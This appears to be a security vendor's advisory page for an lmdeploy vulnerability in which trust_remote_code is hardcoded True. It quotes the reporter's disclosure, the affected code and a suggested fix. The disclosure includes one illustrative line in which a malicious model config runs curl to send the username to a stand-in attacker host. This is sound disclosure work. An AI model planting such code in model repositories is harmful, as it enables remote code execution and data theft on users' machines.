GHSA-9xq9-36w5-q796
HIGHGHSA-9xq9-36w5-q796 is a high-severity (CVSS 7.8) Code Injection vulnerability in lmdeploy. O3 Security confirms whether GHSA-9xq9-36w5-q796 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9xq9-36w5-q796.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9xq9-36w5-q796 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
lmdeployReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"
The accurate description of this vulnerability is: "
get_model_archand related helpers hardcodetrust_remote_code=Truewith no opt-out, creating an implicit unsafe remote-code load path on every model fetch."What this report does NOT claim:
- It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
- It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.
What this report DOES claim:
- Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose
--trust-remote-codeas opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.- LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (
trust_remote_code=Falsesince transformers ≥ 4.30).- The fix is a one-line CLI flag (
--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H× user-must-load qualifier).Runtime evidence: see
12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.
F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in
Reporter: ibondarenko1 / [email protected] Coordinated-disclosure window: 90 days from initial vendor email.
TL;DR
LMDeploy unilaterally passes trust_remote_code=True to
transformers.AutoConfig.from_pretrained() (and several other
from_pretrained callers) regardless of any user opt-in. The
flag is hardcoded True in source — there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a silent override of HuggingFace Transformers' own
default-secure stance (trust_remote_code=False) introduced
in HF Transformers ≥ 4.30 specifically to prevent this class of
supply-chain RCE.
The user running lmdeploy serve api_server <attacker_repo>,
lmdeploy lite calibrate <attacker_repo>, etc. has no way to
opt out. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy — which is incompatible
with LMDeploy's documented use case.
HuggingFace's trust_remote_code=False default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a configuration_*.py shim runs Python code as the
LMDeploy user at the very first call to get_model_arch(...).
This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues — e.g. Hugging Face Transformers
itself made this opt-in by default, and vllm exposes the flag
through --trust-remote-code rather than hardcoding it.
Affected version
- Repository:
github.com/InternLM/lmdeploy, branchmain. - Branch SHA at audit time:
9df0eff7c38ae69b9d4b9f7ad1441e484d439f92(2026-05-02). - Pinned blob SHAs:
lmdeploy/archs.py→68fa03a407734be1e2ae04098d34e9acdbe98262lmdeploy/lite/apis/calibrate.py→0728304bdc3c03eee1d790bfbd5496df080a0ecdlmdeploy/lite/utils/load.py→7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120lmdeploy/pytorch/check_env/model.py→b1a2daaa426bf5fe25030f7913c703eed9f5b261
Snapshots of all four files are in source_pinned/.
Source-level evidence
Site 1 — architecture detection (every load goes through here)
lmdeploy/archs.py:147-157 — get_model_arch:
def get_model_arch(model_path: str):
"""Get a model's architecture and configuration."""
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)
Both the primary path and the fallback hardcode
trust_remote_code=True. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.
Site 2 — quantization CLI
lmdeploy/lite/apis/calibrate.py:248-251:
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)
lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.
Site 3 — calibration helper
lmdeploy/lite/utils/load.py:55:
def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
...
hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)
Even if the caller does not pass trust_remote_code=True in
**kwargs, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads configuration_*.py
from the repo and imports it whenever trust_remote_code=True.
Site 4 — pytorch engine check
lmdeploy/pytorch/check_env/model.py:10,99,234,242 —
trust_remote_code: bool = True is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true" — a determined caller can pass False — but every
shipped CLI passes True or relies on the default.
What trust_remote_code=True actually enables
When AutoConfig.from_pretrained(repo, trust_remote_code=True) is
called and the repo's config.json contains an auto_map key
pointing to a custom configuration_<name>.py:
- HF Transformers downloads the
.pyfile from the repo. - HF imports the module via
importlib, executing the file's top-level code (anyprint,os.system,subprocess.run,urllib.request.urlopen, etc. fires now). - HF then instantiates the named class.
So a malicious repo only needs a top-level
os.system("curl https://attacker/?$(whoami)") in
configuration_evil.py. It runs as the lmdeploy process user.
Threat model
Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:
- Casual users following a tutorial that says
lmdeploy serve api_server <some_repo>. - CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
- Researchers comparing models from many authors. Even running
lmdeploy lite calibratefor benchmarking is enough.
The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).
Comparison to peer projects
| Project | trust_remote_code default | User control |
|---|---|---|
| HuggingFace Transformers | False | trust_remote_code keyword arg |
| vLLM | False | --trust-remote-code flag |
| LMDeploy | True (hardcoded) | None |
| TGI | False | --trust-remote-code flag |
LMDeploy is the outlier. The rationale is presumably "internal
models like InternLM need custom configuration_*.py", but the fix is
to accept a CLI flag like --trust-remote-code and default-False as
the rest of the ecosystem does.
Suggested fix
Replace every hardcoded trust_remote_code=True with an explicit
opt-in via CLI flag:
# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
Wire trust_remote_code through every call site. Add --trust-remote-code
to lmdeploy's CLI parser and forward it from server / calibrate /
gptq / etc. Default False.
A patch fragment is in patch.diff.
Disclosure plan
- Submit privately via lmdeploy security contact (typically email or
GitHub Security Advisory at
https://github.com/InternLM/lmdeploy/security/advisories/new). - Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
- 90-day coordinated-disclosure window starting from acknowledgement.
- Request CVE through GHSA flow once the patch lands.
Why static-only is sufficient here
Unlike F11 (RCE chain through _load_pt_file) which required a
runtime PoC to demonstrate the pickle gadget execution, this finding
is a single trust-flag flip — the behaviour of
AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF
repo with a malicious configuration_*.py is documented behaviour of
HF Transformers itself (their own docs warn against it). Reproducing
it adds no new evidence; the static flag-state is the bug.
If the vendor requests a runtime PoC during triage we will provide
one (a malicious HF repo with configuration_evil.py + a one-liner
lmdeploy lite calibrate <repo> invocation), but holding it back from
the initial advisory avoids publishing a working exploit during the
disclosure window.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | lmdeploy | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lmdeploy. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of lmdeploy has shipped for GHSA-9xq9-36w5-q796 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9xq9-36w5-q796 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9xq9-36w5-q796. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9xq9-36w5-q796 in your dependencies?
O3 detects GHSA-9xq9-36w5-q796 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.